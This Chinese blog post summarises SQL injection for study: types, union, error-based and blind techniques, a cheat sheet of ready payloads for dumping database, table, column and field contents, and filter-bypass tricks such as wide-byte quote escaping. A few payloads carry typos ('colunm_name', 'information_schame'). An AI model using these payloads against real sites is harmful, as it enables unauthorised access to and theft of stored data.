漏洞重温之sql注入(总结)

SQL注入(总结)

0X00 SQL注入原理

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。

0X01 如何寻找SQL注入

一.网页为了满足正常用户检索所需内容,会使用代码获取用户在网页上的输入,并且放入到数据库中检索这么一系列的操作。所以在正常情况下,一般网页的条件搜索,是最容易出现SQL注入的地方。

二.假设我们看到的是一个商城网站,每个商品的数据(图片,价格,余量)信息不会被存储到前端,而是放到数据库中,利用ID来区分每个不同的物体。所以,当我们点击商品的时候,就是网站往数据库进行请求的一个过程,此处也可能存在SQL注入。

三.当我们登录一个网站的时候,可以简单来理解,我们登录的过程,其实就是系统将我们输入的内容跟数据库中原本的数据进行对比,也就是向数据库发起请求的过程,此处也可能存在SQL注入。

...

0X02 SQL注入的类型

GET型:GET型请求的内容可以在URL上看到,也就是说,GET型可以直接在URL里构造语句攻击。

POST型:POST型只能抓包看到,所以POST型注入需要使用抓包工具配合。

GET型注入可以在URL中直接进行,也可以利用工具。而POST型必须要利用工具,这点要分清。

联合查询:联合查询使用union拼接两条不同的SQL语句,因为显示位置有限,所以需要在构造检索语句前使前方检索出错。

联合查询只能在网页有回显位置的时候才可以使用,而我们需要先使用order by来判断显示位置有几个,也就是select 1,2,3... 里面的1,2,3的占位符我们要写几个。判断的原因是,如果占位符写的过多,会导致语句出错。

报错注入:通过特定报错函数,构造语句,使数据库报错并且报错信息中携带我们需要内容。报错注入需要网站将数据库报错信息回显到网站首页。

报错注入结尾,一般不使用注释而是使用分号。

布尔型盲注:布尔型盲注是根据代码执行成功或失败的不同回显来进行注入攻击的,这里需要一个字符一个字符进行判断。当然也可以直接猜测整个字符来进行判断,以此缩短时间。常用length函数判断长短,substr函数判断具体数值。

length函数用法:

length((database()))>1

substr函数用法:

substr((database()),1,1)='a'

substr函数相比较length函数,在第一层括号里面多了一个",1,1"的内容,这是函数用来分割的。简单来说,因为数据库名一般不为单字符,所以我们需要通过分割来一个字符一个字符的进行判断。

时间型盲注:时间盲注是在布尔型盲注无法使用的时候利用的,主要用于代码执行成功或失败返回结果相同或者不同无法被轻易察觉的时候。常利用if语句配合sleep函数来进行注入攻击,执行语句内容和布尔型盲注一致。

if语句语法:

if(条件,满足条件执行,不满足条件执行)

if语句在时间型盲注中的用法:

在条件位置,我们放入布尔型盲注时用来判断的语句,在满足条件执行或者不满足条件执行的任意位置,使用sleep函数,使执行成功或失败的结果不同。

二阶注入:二次注入是指对已存的数据库内容被读取后再次进入查询语句之后产生的恶意SQL语句称之为二次注入。

...

0X03 SQL注入常用命令

判断语句:

' and 1=1 --

' and 1=2 --

联合查询语句:

' order by 数字 -- //查看显示位置有几个

' and 1=2 union select 1,version(),database() -- //查看数据库版本号和当前数据库名

' and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 -- //爆所有数据库名

' and 1=2 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='数据库名'),3 -- //爆指定数据库的表名

' and 1=2 union select 1,(select group_concat(colunm_name) from information_schema.columns where table_name='表名'),3 -- //爆指定表的字段

' and 1=2 union select 1,(select group_concat(字段) from 数据库名.表名),3 -- //爆指定字段

报错注入语句:

updatexml(1,concat(0x7e,(执行语句),0x7e),1); //执行内容跟联合查询括号里面的内容一致。

select count(*) from information_schema.tables group by concat((执行语句),0x7e,floor(rand(0) * 2));

extractvalue(1,concat(0x7e,(执行语句),0x7e));

布尔型盲注语句:

' and length((select schema_name from information_schame.schemata limit 0,1))=1 -- //判断第一个数据库名字长度 通过修改limit函数的第一个数字,来指定第几个数据库名字长度的判断。

' and substr((select schema_name from information_schema.schemata limit 0,1),1,1)='a' -- //判断第一个数据库名的第一个字母,通过修改limit函数的数字来指定数据库,通过修改括号外面的数字来指定第几个字。

时间型盲注语句:

' and if(length((select schema_name from information_schema.schemata limit 0,1))=1,sleep(3),1) -- //判断第一个数据库名长度

...

0X04 绕过方式

过滤关键字:尝试关键字双写绕过,假设网站只过滤一次,即可完成绕过。尝试关键字大小写绕过。

过滤单引号:宽字节注入绕过,简单来说就是使用 "%df%27" 来代替单引号,因为%df会跟转义单引号的代码结合成一个字符,使后面的%27也就是单引号逃逸。

过滤空格:使用||代替or,使用&&代替and,假设网站将数据库错误返回,可以使用报错注入绕过,因为除了or和and,报错注入基本不使用空格。

...

绕过方式还有,以上三种是我在学习过程中遇到并且解决过的过滤方式。比较经典的绕过,比如过安全狗或者其他的内容,我会在尝试过之后补充。

posted @ 2020-09-25 18:04  小明-o3rr0r  阅读(202)  评论(0编辑  收藏  举报